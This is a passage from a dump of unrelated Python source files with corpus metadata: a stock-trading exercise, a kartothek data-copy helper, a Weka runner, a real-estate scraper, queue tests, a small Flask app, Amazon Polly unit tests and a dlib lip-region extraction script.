2d integer array prices of stock prices containing k arrays of length 5\n# and print your output.\n\n#All indexes correspond properly (For index i, the name of the stock is name[i], \n# the number of shares of it you hold is owned[i] and the data about it is prices[i].\n\ndef printTransactions(m, k, d, name, owned, prices):\n write_memory(prices)\n prev_prices = read_trainingdata()\n for i in range(0, len(prev_prices)):\n prices[i].extend(prev_prices[i])\n slope_list = []\n prev_slope_list = []\n print(prev_prices[1])\n for j in range(len(prices)):\n slope_list.append(calculate_slope_of_regression_line(range(len(prices[j])), prices[j]))\n prev_slope_list.append(calculate_slope_of_regression_line(range(len(prev_prices[j])), prev_prices[j]))\n trans = []\n for k in range(len(slope_list)):\n if slope_list[k] < 0 and m > prices[k][4] and (name[k] == 'UCLA' or name[k] == 'UCSC'):\n trans.append(str(names[k]) + \" BUY \" + str(int(m / prices[k][4])))\n m = m - prices[k][4] * int(m / prices[k][4])\n for l in range(len(name)):\n if slope_list[l] > 10 and owned[l] > 0:\n trans.append(str(names[l]) + \" SELL \" + str(owned[l]))\n print(len(trans))\n for n in range(len(trans)):\n print(trans[n])\n\n \n \n\nif __name__ == '__main__':\n m, k, d = [float(i) for i in input().strip().split()]\n k = int(k)\n d = int(d)\n names = []\n owned = []\n prices = []\n for data in range(k):\n temp = input().strip().split()\n names.append(temp[0])\n owned.append(int(temp[1]))\n prices.append([float(i) for i in temp[2:7]])\n\n printTransactions(m, k, d, names, owned, prices)\n\n # need to predict when stocks are cheap, but about to rise\n # predict when growth is going to come in 4 turns when item is cheap\n # predict when item is going to devalue in 4 turns so it can be sold","sub_path":"stock_prediction_hacker.py","file_name":"stock_prediction_hacker.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"28171687","text":"from __future__ import absolute_import\n\nfrom copy import copy\n\nfrom kartothek.api.discover import check_datasets, discover_datasets_unchecked\nfrom kartothek.utils.ktk_adapters import get_dataset_keys\n\n__all__ = (\"get_copy_keys\",)\n\n\ndef get_copy_keys(cube, src_store, tgt_store, overwrite, datasets=None):\n \"\"\"\n Get and check keys that should be copied from one store to another.\n\n Parameters\n ----------\n cube: kartothek.core.cube.cube.Cube\n Cube specification.\n src_store: Union[Callable[[], simplekv.KeyValueStore], simplekv.KeyValueStore]\n Source KV store.\n tgt_store: Union[Callable[[], simplekv.KeyValueStore], simplekv.KeyValueStore]\n Target KV store.\n overwrite: bool\n If possibly existing datasets in the target store should be overwritten.\n datasets: Union[None, Iterable[str], Dict[str, kartothek.core.dataset.DatasetMetadata]]\n Datasets to copy, must all be part of the cube. May be either the result of :meth:`discover_datasets`, an\n iterable of Ktk_cube dataset ID or ``None`` (in which case entire cube will be copied).\n\n Returns\n -------\n keys: Set[str]\n Set of keys to copy.\n\n Raises\n ------\n RuntimeError: In case the copy would not pass successfully or if there is no cube in ``src_store``.\n \"\"\"\n if not isinstance(datasets, dict):\n new_datasets = discover_datasets_unchecked(\n uuid_prefix=cube.uuid_prefix,\n store=src_store,\n filter_ktk_cube_dataset_ids=datasets,\n )\n else:\n new_datasets = datasets\n\n if datasets is None:\n if not new_datasets:\n raise RuntimeError(\"{} not found in source store\".format(cube))\n else:\n unknown_datasets = set(datasets) - set(new_datasets)\n if unknown_datasets:\n raise RuntimeError(\n \"{cube}, datasets {datasets} do not exist in source store\".format(\n cube=cube, datasets=unknown_datasets\n )\n )\n\n existing_datasets = discover_datasets_unchecked(cube.uuid_prefix, tgt_store)\n\n if not overwrite:\n for ktk_cube_dataset_id in sorted(new_datasets.keys()):\n if ktk_cube_dataset_id in existing_datasets:\n raise RuntimeError(\n 'Dataset \"{uuid}\" exists in target store but overwrite was set to False'.format(\n uuid=new_datasets[ktk_cube_dataset_id].uuid\n )\n )\n\n all_datasets = copy(existing_datasets)\n all_datasets.update(new_datasets)\n\n check_datasets(all_datasets, cube)\n\n keys = set()\n for ktk_cube_dataset_id in sorted(new_datasets.keys()):\n ds = new_datasets[ktk_cube_dataset_id]\n keys |= get_dataset_keys(ds)\n\n return keys\n","sub_path":"kartothek/io_components/cube/copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"221176203","text":"# -*- coding: utf-8 -*-\n\"\"\"The main module of premise.\n\nExample:\n $ python3 run.py\n\"\"\"\n\nimport os\nimport sys\n\nimport weka.core.jvm as jvm\nimport util.localizer_log as localizer_log\nimport util.localizer_config as localizer_config\nfrom util.localizer_config import config\nimport util.runtime as runtime\nimport util.kpi_info as kpi_info\nimport component.preprocess as preprocess\nimport component.arff_gen as arff_gen\nimport component.exp_filter_manager as exp_filter_manager\nimport component.weka_predict as weka_predict\n\n\ndef run(mode, model_cache_file_name, evaluation_is_on):\n \"\"\"\n :param mode: train, predict\n :param model_cache_name: name to save the trained model (or to load the saved one). Example: LMT\n :return: N/A\n \"\"\"\n\n if config.has_option('default', 'max_heapsize'):\n jvm.start(config.get('default', 'max_heapsize'))\n else:\n localizer_log.msg(\"default->max_heapsize record does not exist\")\n jvm.start()\n\n # Create the folder (dst_folder folder) to put:\n # 1) Training data set in arff format. Example: training.arff\n # 2) Model evaluation summary. Example: predictions.txt\n # 3) Folders for each target dataset (the dataset on which classifications to be done) (example: 0000000060-10.40.7.172-PacL@Rnd_0_Rnd):\n # 3.1) Target dataset in arff format. Example: target.arff\n # 3.2) Classification results. Example: LMT.txt\n\n dst_folder = localizer_config.get_folder('dst')\n localizer_config.reset_path(dst_folder)\n\n localizer_log.msg(\"Initialising KPIs...\")\n kpi_info.init(localizer_config.get_meta_path('kpi_indices'))\n localizer_log.msg(\"KPIs initialised\")\n\n # Process the original file and put it to\n if localizer_config.component_enabled('preprocess'):\n preprocess.preprocess()\n\n # Add all classes to the all_classes global variable. Used in @attribute class {..} in training and target arffs.\n runtime.generate_classes_all()\n\n if mode == \"train\":\n\n # Reading training data from anomalies/training-data\n localizer_log.msg(\"Reading training data: Started.\")\n training_dir = localizer_config.get_src_path('training') # anomalies/training-data\n runtime.add_all(training_dir)\n localizer_log.msg(\"Reading training data: Completed.\")\n\n if localizer_config.component_enabled('exp_filter'):\n experiments = exp_filter_manager.filter_(runtime.all_exps)\n localizer_log.msg(\"Exp. filter applied.\")\n else:\n experiments = runtime.all_exps\n localizer_log.msg(\"No exp. filter applied.\")\n\n # Generate training data set in arff format\n localizer_log.msg(\"Start generating the training.arff file (data for training).\")\n training_dataset_arff_path = localizer_config.get_dst_path('training.arff') # Example: data/classifications/training.arff\n arff_gen.gen_file(experiments, training_dataset_arff_path, \"training\", True)\n localizer_log.msg(\"The training.arff generated.\")\n\n # Train\n path_to_save_training_summary = localizer_config.get_dst_path('predictions.txt') # Example: data/classifications/predictions.txt\n weka_predict.train(training_dataset_arff_path, model_cache_file_name, evaluation_is_on, path_to_save_training_summary)\n\n if mode == \"predict\":\n\n # Reading training data from anomalies/test-data/\n localizer_log.msg(\"Reading data for classifications: Started.\")\n target_dir = localizer_config.get_src_path('target')\n runtime.add_target(target_dir)\n localizer_log.msg(\"Reading data for classifications: Completed.\")\n\n # Load cached model\n localizer_log.msg(\"Load model \" + model_cache_file_name)\n weka_predict.load_model(model_cache_file_name)\n\n # Predict\n for exp_id, exp in runtime.targets_exps.items():\n exp_dst_path = localizer_config.get_dst_path(exp.exp_info['full_name'])\n localizer_config.reset_path(exp_dst_path)\n\n # Generate the target data set for predictions\n localizer_log.msg(\"Start generating the target.arff file (data for training).\")\n exp_arff_path = os.path.join(exp_dst_path, 'target.arff')\n localizer_log.msg(\"target.arff file path: \" + exp_arff_path)\n arff_gen.gen_file({exp_id: exp}, exp_arff_path, \"test\", fromzero=True)\n localizer_log.msg(\"The \" + exp_arff_path + \" generated.\")\n\n # Make predictions\n localizer_log.msg(\"Start prediction.\")\n weka_predict.predict(exp, exp_arff_path, exp_dst_path)\n localizer_log.msg(\"Prediction completed.\")\n\n jvm.stop()\n\n\nif __name__ == '__main__':\n mode = sys.argv[1]\n model_cache_file_name = sys.argv[2]\n evaluation_is_on = bool(int(sys.argv[3]))\n\n run(mode, model_cache_file_name, evaluation_is_on)\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"304192073","text":"\n\nfrom xai.brain.wordbase.verbs._strafe import _STRAFE\n\n#calss header\nclass _STRAFED(_STRAFE, ):\n\tdef __init__(self,): \n\t\t_STRAFE.__init__(self)\n\t\tself.name = \"STRAFED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"strafe\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_strafed.py","file_name":"_strafed.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"188486050","text":"\"\"\"\n This app will allow users to get information from a specific realestate website\n and combine the information into a single file\n\"\"\"\nimport pandas, requests, time\nfrom bs4 import BeautifulSoup\n\n\"\"\" Get the number of pages/object on the site by using the url \"\"\"\n# Connect to website\nbase_url = 'http://www.pyclass.com/real-estate/rock-springs-wy/LCWYROCKSPRINGS/'\nr = requests.get(base_url,\n headers={'User-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0'})\n# Get content\nc = r.content\n# Create the parser that will read through the data\nparser = BeautifulSoup(c, 'html.parser')\n# get number of of items on the site\nitemsPerPage = int(parser.find('div', {'class' : 'PaginationLimit'}).find('div', {'class' : 'selector smallSelector'})\n .find('span').text)\nitemCount = (len(parser.find_all('div', {'class' : 'PagerFull'}))+1) * itemsPerPage\n\n# Store data in a list to be added to a data frame\nallOffers = []\n\n\"\"\" loop throough all of the pages and get data\"\"\"\n# loop through all pages\nfor num in range(0, itemCount, itemsPerPage):\n print(base_url + 't=0&s={}'.format(str(num)))\n r = requests.get(base_url + 't=0&s={}.html'.format(str(num)), headers={'User-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0'})\n c = r.content\n parser = BeautifulSoup(c, 'html.parser')\n\n # Get info for each item in the given list on the website\n listingsAll = parser.find_all('div', {'class' : 'propertyRow'})\n\n # A list to hold listing object dict - no longer needed\n #offers = []\n\n # Go to each listing element and get the info from it\n for lot in listingsAll:\n currentLotInfoDict = dict()\n # Get the price\n price = lot.find('h4', {'class' : 'propPrice'}).text.replace('\\n', '').replace(' ', '')\n currentLotInfoDict['Price'] = price\n # Get the address lines - two lines so need to take into account\n address1 = lot.find_all('span', {'class' : 'propAddressCollapse'})[0].text\n address2 = lot.find_all('span', {'class' : 'propAddressCollapse'})[1].text# will get a list of 2 items\n currentLotInfoDict['Address'] = address1\n currentLotInfoDict['Location'] = address2\n # get bed count\n try:\n beds = lot.find('span', {'class' : 'infoBed'}).find('b').text\n except:\n beds = None\n currentLotInfoDict['Beds'] = beds\n # get full bath count\n try:\n bathsFull = lot.find('span', {'class' : 'infoValueFullBath'}).find('b').text\n except:\n bathsFull = None\n currentLotInfoDict['Full Baths'] = bathsFull\n # get half bath count\n try:\n bathsHalf = lot.find('span', {'class' : 'infoValueHalfBath'}).find('b').text\n except:\n bathsHalf = None\n currentLotInfoDict['Half Baths'] = bathsHalf\n # get sq ft\n try:\n sqFt = lot.find('span', {'class' : 'infoSqFt'}).find('b').text\n except:\n sqFt = None\n currentLotInfoDict['Sq. Ft'] = sqFt\n # get property description\n try:\n description = lot.find('div', {'class' : 'propertyDescCollapse'}).text[1:-12]\n except:\n description = None\n currentLotInfoDict['Description'] = description\n\n lotSize = None\n otherFeatures = {}\n currentLotInfoDict['Lot Size'] = None\n # loop through all the features and find lot size, save the rest of the features\n for feature in lot.find_all('div', {'class' : 'columnGroup'}):\n # use zip command to travers two lists at the same time\n # Since every feature name will have a description added, can travers without worrying about getting different len lists\n for featureGroup, featureName in zip(feature.find_all('span', {'class' : 'featureGroup'}),\n feature.find_all('span', {'class' : 'featureName'})):\n # will need to add to object before writting to file\n # get lot size\n if 'Lot Size' in featureGroup.text:\n lotSize = featureName.text\n currentLotInfoDict['Lot Size'] = lotSize\n else:\n otherFeatures['{}'.format(featureGroup.text.replace('\\xa0', ''))] = featureName.text\n \n # Add other features to dict\n currentLotInfoDict[\"Features\"] = otherFeatures\n # Add to offers list to later be added to a data frame\n allOffers.append(currentLotInfoDict)\n\n '''\n # Print for testing\n print(price)\n print(address1 + '\\n' + address2)\n print(beds)\n print(bathsFull)\n print(bathsHalf)\n print(sqFt)\n print(description)\n print(lotSize)\n print(otherFeatures)\n time.sleep(1)\n '''\n\n# Write the offers list to a csv file file\ndf = pandas.DataFrame(allOffers)\n\"\"\"\n when having multiple lists, its better to append the lists and then add it to the data frame\n rather than trying to create a data frame and later add to it\n\"\"\"\ndf.to_csv('available_listings.csv')\n \n","sub_path":"Real_estate_webscraper_app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"215151217","text":"#!/usr/bin/env python\n\"\"\"This module contains unit tests for the Queue class.\"\"\"\n\n__author__ = 'Stephen Huang'\n__id__ = 'sh4fd'\n\nimport os\nimport sys\n\nsys.path.append(os.path.normpath(os.path.join(os.path.dirname(__file__),\n os.path.pardir)))\n\nimport unittest\nfrom my_adts import Queue\n\n\nclass TestQueue(unittest.TestCase):\n\n def setUp(self):\n self.Queue = Queue()\n\n def test_add_check_len(self):\n \"\"\"Test ID: Q1.\"\"\"\n old_len = len(self.Queue)\n self.Queue.add('hi')\n new_len = len(self.Queue)\n self.assertEqual(old_len + 1, new_len)\n\n def test_add_check_item(self):\n \"\"\"Test ID: Q2.\"\"\"\n self.Queue.add('bye')\n q_len = len(self.Queue)\n self.assertEqual(self.Queue.q_list[q_len - 1], 'bye')\n\n def test_add_populated_queue(self):\n \"\"\"Test ID: Q3.\"\"\"\n new_q = Queue(['one', 'two', 3])\n old_len = len(new_q)\n new_q.add('four')\n new_len = len(new_q)\n self.assertEqual(new_len, old_len + 1)\n\n def test_remove(self):\n \"\"\"Test ID: Q4.\"\"\"\n self.Queue = Queue(['my', 'name', 'is', 'Stephen'])\n old_len = len(self.Queue)\n removed_item = self.Queue.remove()\n self.assertEqual(removed_item, 'my')\n self.assertEqual(old_len - 1, len(self.Queue))\n\n def test_remove_empty_q(self):\n \"\"\"Test ID: Q5.\"\"\"\n self.assertIsNone(self.Queue.remove())\n\n def test_front(self):\n \"\"\"Test ID: Q6.\"\"\"\n self.Queue = Queue(['good', 'morning', 'to', 'you', 'sir'])\n old_len = len(self.Queue)\n front_item = self.Queue.front()\n msg = 'items not the same'\n self.assertEqual(front_item, 'good', msg)\n self.assertEqual(len(self.Queue), old_len)\n\n def test_front_empty_q(self):\n \"\"\"Test ID: Q7.\"\"\"\n front_item = self.Queue.front()\n self.assertIsNone(front_item)\n\n def test_len(self):\n \"\"\"Test ID: Q8.\"\"\"\n self.Queue = Queue(['one', 'two', 'three'])\n expected_len = 3\n self.assertEqual(len(self.Queue), expected_len)\n\n def test_len_empty_queue(self):\n \"\"\"Test ID: Q9.\"\"\"\n new_q = Queue()\n expected_len = 0\n self.assertEqual(len(new_q), expected_len)\n\n def test_str(self):\n \"\"\"Test ID: Q10.\"\"\"\n q = Queue(['one', 'two', 'three'])\n ex = \"\"\"['one', 'two', 'three']\"\"\"\n self.assertEqual(str(q), ex)\n\n def test_str_empty_queue(self):\n \"\"\"Test ID: Q11.\"\"\"\n q = Queue()\n ex = '[]'\n self.assertEqual(str(q), ex)\n\n def test_str_multiple_types(self):\n \"\"\"Test ID: Q12.\"\"\"\n q = Queue(['one', 1, 3.234, 'hello'])\n ex = \"\"\"['one', 1, 3.234, 'hello']\"\"\"\n self.assertEqual(str(q), ex)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"cs3240-hw2/src/test_queue.py","file_name":"test_queue.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"317441057","text":"import flask\nfrom flask import Flask, render_template, request, jsonify, url_for\nimport requests\nfrom datetime import datetime\n\napp = Flask(__name__)\ninfo_dict = dict() \n@app.route(\"/\", methods=[\"POST\", \"GET\"])\ndef index():\n ip_address = (requests.get(\"http://169.254.169.254/latest/meta-data/public-ipv4\").content).decode('utf-8')\n if request.method == \"POST\":\n global info_dict\n input_json = request.get_json(force=True)\n info_dict = input_json\n return render_template(\"index2.html\", info = info_dict, val = ip_address+\":5000\", val2 = ip_address + \":5000/Auti/\")\n\nif __name__ == \"__main__\":\n app.run(host = \"0.0.0.0\", debug=True)","sub_path":"frontend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"620421296","text":"#!/usr/bin/env python\n\n# Copyright (c) 2018, Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\").\n# You may not use this file except in compliance with the License.\n# A copy of the License is located at\n#\n# http://aws.amazon.com/apache2.0\n#\n# or in the \"license\" file accompanying this file. This file is distributed\n# on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n# express or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n\nfrom __future__ import print_function\n\n\nfrom mock import patch, MagicMock # python2 uses backport of unittest.mock(docs.python.org/3/library/unittest.mock.html)\nimport unittest\n\n\nclass TestPolly(unittest.TestCase):\n\n def setUp(self):\n \"\"\"important: import tts which is a relay package::\n\n devel/lib/python2.7/dist-packages/\n +-- tts\n | +-- __init__.py\n +-- ...\n\n per http://docs.ros.org/api/catkin/html/user_guide/setup_dot_py.html:\n\n A relay package is a folder with an __init__.py folder and nothing else.\n Importing this folder in python will execute the contents of __init__.py,\n which will in turn import the original python modules in the folder in\n the sourcespace using the python exec() function.\n \"\"\"\n import tts\n self.assertIsNotNone(tts)\n\n @patch('tts.amazonpolly.Session')\n def test_init(self, boto3_session_class_mock):\n from tts.amazonpolly import AmazonPolly\n AmazonPolly()\n\n self.assertGreater(boto3_session_class_mock.call_count, 0)\n boto3_session_class_mock.return_value.client.assert_called_with('polly')\n\n @patch('tts.amazonpolly.Session')\n def test_defaults(self, boto3_session_class_mock):\n from tts.amazonpolly import AmazonPolly\n polly = AmazonPolly()\n\n self.assertGreater(boto3_session_class_mock.call_count, 0)\n boto3_session_class_mock.return_value.client.assert_called_with('polly')\n\n self.assertEqual('text', polly.default_text_type)\n self.assertEqual('ogg_vorbis', polly.default_output_format)\n self.assertEqual('Joanna', polly.default_voice_id)\n self.assertEqual('.', polly.default_output_folder)\n self.assertEqual('output', polly.default_output_file_basename)\n\n @patch('tts.amazonpolly.Session')\n def test_good_synthesis_with_default_args(self, boto3_session_class_mock):\n boto3_session_obj_mock = MagicMock()\n boto3_polly_obj_mock = MagicMock()\n boto3_polly_response_mock = MagicMock()\n audio_stream_mock = MagicMock()\n fake_audio_stream_data = 'I am audio.'\n fake_audio_content_type = 'super tts'\n fake_boto3_polly_response_metadata = {'foo': 'bar'}\n\n boto3_session_class_mock.return_value = boto3_session_obj_mock\n boto3_session_obj_mock.client.return_value = boto3_polly_obj_mock\n boto3_polly_obj_mock.synthesize_speech.return_value = boto3_polly_response_mock\n audio_stream_mock.read.return_value = fake_audio_stream_data\n d = {\n 'AudioStream': audio_stream_mock,\n 'ContentType': fake_audio_content_type,\n 'ResponseMetadata': fake_boto3_polly_response_metadata\n }\n boto3_polly_response_mock.__contains__.side_effect = d.__contains__\n boto3_polly_response_mock.__getitem__.side_effect = d.__getitem__\n\n from tts.amazonpolly import AmazonPolly\n polly_under_test = AmazonPolly()\n\n self.assertGreater(boto3_session_class_mock.call_count, 0)\n boto3_session_obj_mock.client.assert_called_with('polly')\n\n res = polly_under_test.synthesize(text='hello')\n\n expected_synthesize_speech_kwargs = {\n 'LexiconNames': [],\n 'OutputFormat': 'ogg_vorbis',\n 'SampleRate': '22050',\n 'SpeechMarkTypes': [],\n 'Text': 'hello',\n 'TextType': 'text',\n 'VoiceId': 'Joanna',\n }\n boto3_polly_obj_mock.synthesize_speech.assert_called_with(**expected_synthesize_speech_kwargs)\n\n from tts.srv import PollyResponse\n self.assertTrue(isinstance(res, PollyResponse))\n\n import json\n j = json.loads(res.result)\n observed_audio_file_content = open(j['Audio File']).read()\n self.assertEqual(fake_audio_stream_data, observed_audio_file_content)\n\n self.assertEqual(fake_audio_content_type, j['Audio Type'])\n self.assertEqual(str(fake_boto3_polly_response_metadata), j['Amazon Polly Response Metadata'])\n\n @patch('tts.amazonpolly.Session')\n def test_polly_raises(self, boto3_session_class_mock):\n boto3_session_obj_mock = MagicMock()\n boto3_polly_obj_mock = MagicMock()\n boto3_polly_response_mock = MagicMock()\n audio_stream_mock = MagicMock()\n fake_audio_stream_data = 'I am audio.'\n fake_audio_content_type = 'super voice'\n fake_boto3_polly_response_metadata = {'foo': 'bar'}\n\n boto3_session_class_mock.return_value = boto3_session_obj_mock\n boto3_session_obj_mock.client.return_value = boto3_polly_obj_mock\n boto3_polly_obj_mock.synthesize_speech.side_effect = RuntimeError('Amazon Polly Exception')\n audio_stream_mock.read.return_value = fake_audio_stream_data\n d = {\n 'AudioStream': audio_stream_mock,\n 'ContentType': fake_audio_content_type,\n 'ResponseMetadata': fake_boto3_polly_response_metadata\n }\n boto3_polly_response_mock.__contains__.side_effect = d.__contains__\n boto3_polly_response_mock.__getitem__.side_effect = d.__getitem__\n\n from tts.amazonpolly import AmazonPolly\n polly_under_test = AmazonPolly()\n\n self.assertGreater(boto3_session_class_mock.call_count, 0)\n boto3_session_obj_mock.client.assert_called_with('polly')\n\n res = polly_under_test.synthesize(text='hello')\n\n expected_synthesize_speech_kwargs = {\n 'LexiconNames': [],\n 'OutputFormat': 'ogg_vorbis',\n 'SampleRate': '22050',\n 'SpeechMarkTypes': [],\n 'Text': 'hello',\n 'TextType': 'text',\n 'VoiceId': 'Joanna',\n }\n boto3_polly_obj_mock.synthesize_speech.assert_called_with(**expected_synthesize_speech_kwargs)\n\n from tts.srv import PollyResponse\n self.assertTrue(isinstance(res, PollyResponse))\n\n import json\n j = json.loads(res.result)\n self.assertTrue('Exception' in j)\n self.assertTrue('Traceback' in j)\n\n @patch('tts.amazonpolly.AmazonPolly')\n def test_cli(self, amazon_polly_class_mock):\n import sys\n with patch.object(sys, 'argv', ['polly_node.py', '-n', 'polly-node']):\n from tts import amazonpolly\n amazonpolly.main()\n self.assertGreater(amazon_polly_class_mock.call_count, 0)\n amazon_polly_class_mock.return_value.start.assert_called_with(node_name='polly-node', service_name='polly')\n\n\nif __name__ == '__main__':\n import rosunit\n rosunit.unitrun('tts', 'unittest-polly', TestPolly)\n","sub_path":"tts/test/test_unit_polly.py","file_name":"test_unit_polly.py","file_ext":"py","file_size_in_byte":7193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"102642713","text":"import cv2\r\nimport os\r\nimport dlib\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nfrom torch.optim import lr_scheduler\r\nimport torchvision\r\nfrom torchvision import models, datasets, transforms\r\nimport matplotlib.pyplot as plt\r\nimport copy\r\nfrom scipy import optimize\r\nimport json\r\nimport time\r\nfrom torch.autograd import Variable\r\n\r\n\r\nclass Video_point():\r\n def __init__(self, File_Path, File_Path2, video_path, landmarks_data_path, allpicture, sampletimes=0, frameFrequency=1):\r\n # input : File_Path 用于对视频流分割、降噪、滤波的工作文��夹\r\n # File_Path2 储存唇部图片的工作文件夹\r\n # video_path 要进行唇语识别的目标视频流路径\r\n # landmarks_data_path dlib人脸检测识别库\r\n # frameFrequency 提取帧的频率。每frameFrequency帧提取一帧来进行特征点识别\r\n # allpicture 关键帧的总长度\r\n\r\n self.times = 0 # 初始化计时次数\r\n self.allpicture = allpicture # 关键帧的固定总长度\r\n self.sampletimes = sampletimes # dlib的detector的采样倍数。sampletimes越高,识别精度越高,但运行得也越慢,经过实验,发现选择2已经几乎可以保证100%的提取特征点的正确率了\r\n self.detector = dlib.get_frontal_face_detector() # 创建人脸检测detector\r\n self.predictor = dlib.shape_predictor(landmarks_data_path) # 创建predictor\r\n self.index = [] # 初始化关键帧下标序列\r\n self.frameFrequency = frameFrequency # 每frameFrequency帧从video从提取一帧\r\n \r\n def process(self):\r\n \r\n # 获取当前文件目录\r\n if not os.path.exists(File_Path): # 检查是否存在文件夹\r\n os.makedirs(File_Path) # 不存在新建\r\n if not os.path.exists(File_Path2): # 检查是否存在文件夹\r\n os.makedirs(File_Path2) # 不存在新建\r\n\r\n cap = cv2.VideoCapture(video_path) # 创建cap对象\r\n \r\n while True:\r\n self.times += 1\r\n res, image = cap.read() #若成功读取帧,则res=True。每次循环,cap.read()读到并返回的帧image都不同\r\n if not res :\r\n print('not res , not image')\r\n break\r\n\r\n if self.times % self.frameFrequency == 0:\r\n cv2.imwrite(File_Path + str(self.times) + '.jpg', image) # 保存原始视频帧\r\n\r\n # 当while循环结束时,所有的原始视频帧都已得到保存。原始视频帧的最大帧数记为max_index\r\n max_index = self.times - 1\r\n\r\n # 生成关键帧下标序列\r\n random_factor = np.random.uniform(-1,1,self.allpicture) # 生成随机数因子\r\n for i in range(0, self.allpicture):\r\n num = max_index/self.allpicture * (i + random_factor[i-1]/2)\r\n int_num = int(np.round(num)) # 将抽取的关键帧下标结果四舍五入并强制转换为整型\r\n self.index.append(int_num)\r\n\r\n self.index = np.clip(self.index,1,max_index-1) # 将关键帧下标序列index限制在1~max_index-1之间\r\n \r\n p_index = 0 # 创建序号,用于记录被提取的帧的索引(从0开始,方便创建数据集)\r\n # 抽取视频关键帧\r\n for index_i in self.index:\r\n img = cv2.imread(File_Path + str(index_i) + '.jpg', cv2.IMREAD_GRAYSCALE) # 读取视频帧\r\n result = cv2.medianBlur(img,5) # 中值滤波\r\n\r\n cv2.imwrite(File_Path + str(index_i) + 'dist.jpg', result) # 保存滤波后图片\r\n\r\n # 人脸检测\r\n faces = self.detector(result, self.sampletimes)\r\n\r\n pos_68 = []\r\n \r\n if (len(faces)>0):\r\n landmarks = np.matrix([[p.x, p.y] for p in self.predictor(result, faces[0]).parts()]) # result 为滤波后的结果\r\n # print(\"提取成功!\")\r\n for idx, point in enumerate(landmarks):\r\n pos = (point[0, 0], point[0, 1])\r\n\r\n pos_68.append(pos)\r\n\r\n # 提取人脸检测标注到的第49,51,53,55和58个点,用来划分嘴唇区域\r\n pos_49to58 = []\r\n\r\n for s in [48,50,52,54,57]:\r\n pos_49to58.append(pos_68[s][0])\r\n pos_49to58.append(pos_68[s][1])\r\n\r\n a = np.array(pos_49to58) # a : [ 1, 5*2 ]。将matrix变为array\r\n\r\n # 求出嘴唇中心点centre\r\n total_x = 0.\r\n total_y = 0.\r\n for s in range(0, 5):\r\n total_x += a[2*s]\r\n total_y += a[2*s+1]\r\n centre_x = total_x / 5\r\n centre_y = total_y / 5\r\n width = a[6] - a[0] # 取嘴唇最宽两点作差,求得嘴唇宽度\r\n height = a[9] - np.min([a[3],a[5]]) # 求得嘴唇的高度\r\n\r\n # 确定截取嘴唇的方框\r\n x0 = (int)(centre_x - width * 0.75)\r\n x1 = (int)(centre_x + width * 0.75)\r\n y0 = (int)(centre_y - height * 0.75)\r\n y1 = (int)(centre_y + height * 0.75)\r\n\r\n img_cropped = result[y0:y1, x0:x1] # 切片给出的坐标为需要裁剪的图片在原图片上的坐标,顺序为[y0:y1, x0:x1],其中原图的左上角是坐标原点\r\n img_resized = cv2.resize(img_cropped,(256,256),interpolation=cv2.INTER_CUBIC)\r\n cv2.imwrite(File_Path2 + str(p_index) + 'lip.jpg', img_resized) # 保存嘴唇方框图片\r\n p_index = p_index + 1\r\n\r\n\r\n cap.release()\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n landmarks_data_path = \"C:\\\\Users\\\\luqi\\\\Desktop\\\\shape_predictor_68_face_landmarks.dat\"\r\n\r\n namelist = [\"aiban\",\"minzhu\",\"zgm\",\"hexie\"]\r\n\r\n for name in namelist:\r\n for index in range(1,161):\r\n File_Path = \"E:\\\\lip_tracking_project\\\\cnn_and_lstm_0822\\\\allpics=10\\\\train\\\\\" + name + str(index) + \"\\\\\" + \"jiangzao\\\\\"\r\n File_Path2 = \"E:\\\\lip_tracking_project\\\\cnn_and_lstm_0822\\\\allpics=10\\\\train\\\\\" + name + str(index) + \"\\\\\" + \"tezhengdiantiqu\\\\\"\r\n video_path = \"E:\\\\lip_tracking_project\\\\8.20视频集\\\\训练集\\\\\" + name + \"\\\\\" + name + str(index) +\".avi\"\r\n # 获取当前文件目录\r\n if not os.path.exists(File_Path): # 检查是否存在文件夹\r\n os.makedirs(File_Path) # 不存在则新建\r\n if not os.path.exists(File_Path2): # 检查是否存在文件夹\r\n os.makedirs(File_Path2) # 不存在则新建\r\n test = Video_point(File_Path=File_Path, File_Path2=File_Path2, video_path=video_path, landmarks_data_path=landmarks_data_path, allpicture=10, sampletimes=0,frameFrequency=1)\r\n test.process()\r\n \r\n for name in namelist:\r\n for index in range(1,41):\r\n File_Path = \"E:\\\\lip_tracking_project\\\\cnn_and_lstm_0822\\\\allpics=10\\\\test\\\\\" + name + str(index) + \"\\\\\" + \"jiangzao\\\\\"\r\n File_Path2 = \"E:\\\\lip_tracking_project\\\\cnn_and_lstm_0822\\\\allpics=10\\\\test\\\\\" + name + str(index) + 